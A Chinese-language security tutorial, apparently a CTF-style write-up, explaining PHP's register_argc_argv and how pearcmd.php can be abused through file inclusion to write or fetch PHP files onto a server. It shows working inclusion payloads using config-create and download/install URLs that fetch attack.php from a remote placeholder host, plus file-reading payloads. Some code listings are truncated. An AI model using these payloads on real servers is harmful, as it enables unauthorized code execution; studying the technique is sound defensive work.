1register_argc_argv
性质
这是PHP中的一个配置项 用于决定是否在脚本中声明_$argc_ 和 _$argv_ 变量
这两个变量在命令行模式下是十分重要的
$argc:表示传递给脚本的参数数量$argv:这是一个数组 包含传递给脚本的参数值
它的工作原理是将命令行参数传递给PHP脚本 当脚本运行时这些参数被解析为$argc和$argv变量
测试
我们可以构造下列代码进行一个测试
1 | <?php |
我们传入?ssss+sadasdsad
可以看到在这个页面下 作为分割符号的是加号 加号前后会被分割成不同的值
测试时候遇到的小问题
某些朋友使用小皮面板搭建本地测试环境的时候很可能会发现一直报NULL
这是由于在PHP中register_argc_argv这个配置默认是off 解决方式也很简单 找到php.ini这个文件夹将其修改即可(D:\phpstudy_pro\Extensions\php\php7.3.4nts博主的php.ini存在路径是这个 大家可以参考一下)记得改完之后重启一下小皮面板的服务
之后我们还要注意 常用的ls是linux下单命令 在windows下无法使用 我们可以使用dir
还有个很有意思的事情 我在test.php(也就是当前页面)的同一文件夹下创建了一个含有自制flag的flag.txt
此时使用这样的payload?system+sort flag.txt是无法查看到正确的内容的
按照逻辑上来说这应该是正确的但是在实际操作中我们明显看到不可行 往往这是windows命令行地下有一些环境变量或者执行上下文的问题
这时候我们应该考虑 不走操作系统的途径 直接通过PHP去读取flag.txt
我们可以尝试?show_source+flag.txt或者?highlight_file+flag.txt这两种只需要一个参数就能直接读取并且输出文件内容的函数 就能成功查看到flag ![[屏幕截图 2026-03-10 192341.png]]
挺有意思 可以有一些启发
Pearcmd
我们要了解 pearcmd是PHP的一个命令行工具 用以管理拓展
根据p神的文章我们可以分析一下pearmd.php Docker PHP裸文件本地包含综述 | 离别歌
我们在PHP源码中可以看到这样的逻辑:
1 | { |
根据p神的分析 我们可以知道第一个if语句判断variables_order中是否有S,即$_SERVER变量;第二个if语句判断是否开启register_argc_argv,第三个if语句判断是否有request_info.argc存在,如果不存在,其执行的是这条语句:
php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
根据p神的文章我们知道SG(request_info).query_string会将http数据包中的query_string作为argv的值
1 | public static function readPHPArgv() |
在p神的分析中我们可以看到在这一段代码中我们看到 pear会先尝试$argv,如果不存在再尝试$_SERVER['argv'],后者我们可通过query-string控制。也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。
并且在p神的文章中我们发现他给出了一个参数表
经过博主的理解 这里面比较重要并且能被我们所利用的实际上也就三个命令
- config-create
- download
- install
接下来我将逐一为大家讲解
config-create的利用
我们看到config首先想到的肯定是配置文件 同样的 这个其实也就是pearcmd中的这么一个控制配置文件的命令
这个命令主要有两个参数 第一个参数是pearcmd.php文件的绝对路径 第二个参数是写入配置文件的路径 使用这个命令之后会把第一个路径产生点配置文件写入第二个路径的文件之中
诸如这样pear config-create /usr/local/lib/php/pearcmd.php /var/www/html/evil.php
但是有意思的是 第一个参数并不会检查是否存在这个路径 也就是说你可以随意编造一个恶意代码 之后加上一个/假装他是一个合法的路径 之后将这个恶意代码写入目标文件之中
那么现在我们的攻击思路就比较明确了
- 包含pearcmd.php文件
- 使用config.create这个命令 在第一个参数之中传入恶意代码 在第二个传入已知的目标靶机的文件中
- 恶意代码被写入到了目标文件
- 包含目标文件 恶意代码被触发
我们使用kali来进行一下实验
首先得先安装一下pearcmd这个组件包
1 | sudo apt update |
至此 我们所需要的环境搭建完成
接下来我们随便创建一个存在文件包含漏洞的文件即可sudo vim /var/www/html/test.php
文件内容如下
1 | <?php |
那么接下来我们在这个文件包含页面之中输入以下payload
1 | curl "http://127.0.0.1/test.php?file=/usr/share/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/var/www/html/evil.php |
写入成功的时候应该会返回这样的图片
此时我们打开evil .php可以看到里面被传入了一串反序列化内容
接下来我们只需要再包含这个evil.php即可触发恶意代码
我们对这个payload做出解释
1 | ?file=/usr/share/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/var/www/html/evil.php |
- file=/usr/share/php/pearcmd.php:这一段内容是再包含pearcmd这个文件————>传参给file变量
- &+config-create+:这一段是调用pearcmd.php中的config-create这个命令————>传参给argv这个变量0
/<?=phpinfo()?>:这一段是传入的恶意代码 再前面加入斜杠假装自己是一个路径(pear的源码逻辑是把第一个参数当成一个普通的文本字符串保存在内存里,根本就没有有调用is_dir()或者file_exists()去硬盘上验证这个目录到底存不存在)- +/var/www/html/evil.php:这是我们的目标写入文件
- 注意:在代码中的不同参数使用
&符号分割 在对argv参数的传参之中使用+符号分割
综上 就完成了整个pearcmd中config-create的漏洞复现
ps:本次复现是在kali之中实现的 所有环境都是linux环境 如果想使用windows环境的话也可以
1 | ip addr show//通过这个指令查看你kali的ip地址 在物理机中访问将127.0.0.1改成你在kali中找到的ip就行 为了安全起见 不做图片展示 |
还有可能会遇到的问题是权限问题 因为/var/www/html是一个比较重要的目录 很多时候我们是没有对这个目录的写入权限的 这时候在本地测试的时候我们可以短暂的对这个目录进行提权
1 | sudo chmod 777 /var/www/html //将/var/www/html这个目录的权限打开 |
download的利用
这个命令的作用是远程下载文件
这个命令只有一个参数 就是想要下载的文件的路径
那么在实际应用之中我们就可以
- 在自己本地的kali之中编写个给含有恶意代码的文件
- 使用download这个命令将其下载到靶机之下
- 包含此时已经存在于靶机之中的恶意文件触发恶意代码
1 | ?file=/usr/share/php/pearcmd.php&+download+http://xxx.xxx.xxx.xx:xxxx/xxxx/attack.php |
类似的payload如上所示
这个命令会把我们的恶意代码存储到靶机的/var/www/html目录或者/tmp/pear/download目录之下
install的利用
这个和download命令并无区别 只不过是会吧文件保存到/tmp/pear/download目录之下
类似的payload如下:
1 | ?file=/usr/share/php/pearcmd.php&+install+http://xxx.xxx.xxx.xx:xxxx/xxxx/attack.php |
小结
至此我们对pearcmd文件包含这个比较新颖的文件包含知识有了一定的了解 其实本质上 这个pearcmd.php文件其实就是一个命令行工具包 我们在使用他进行文件包含的时候就是了他其中的工具 这些工具在传参上可能存在利用点 这样也就形成了我们的攻击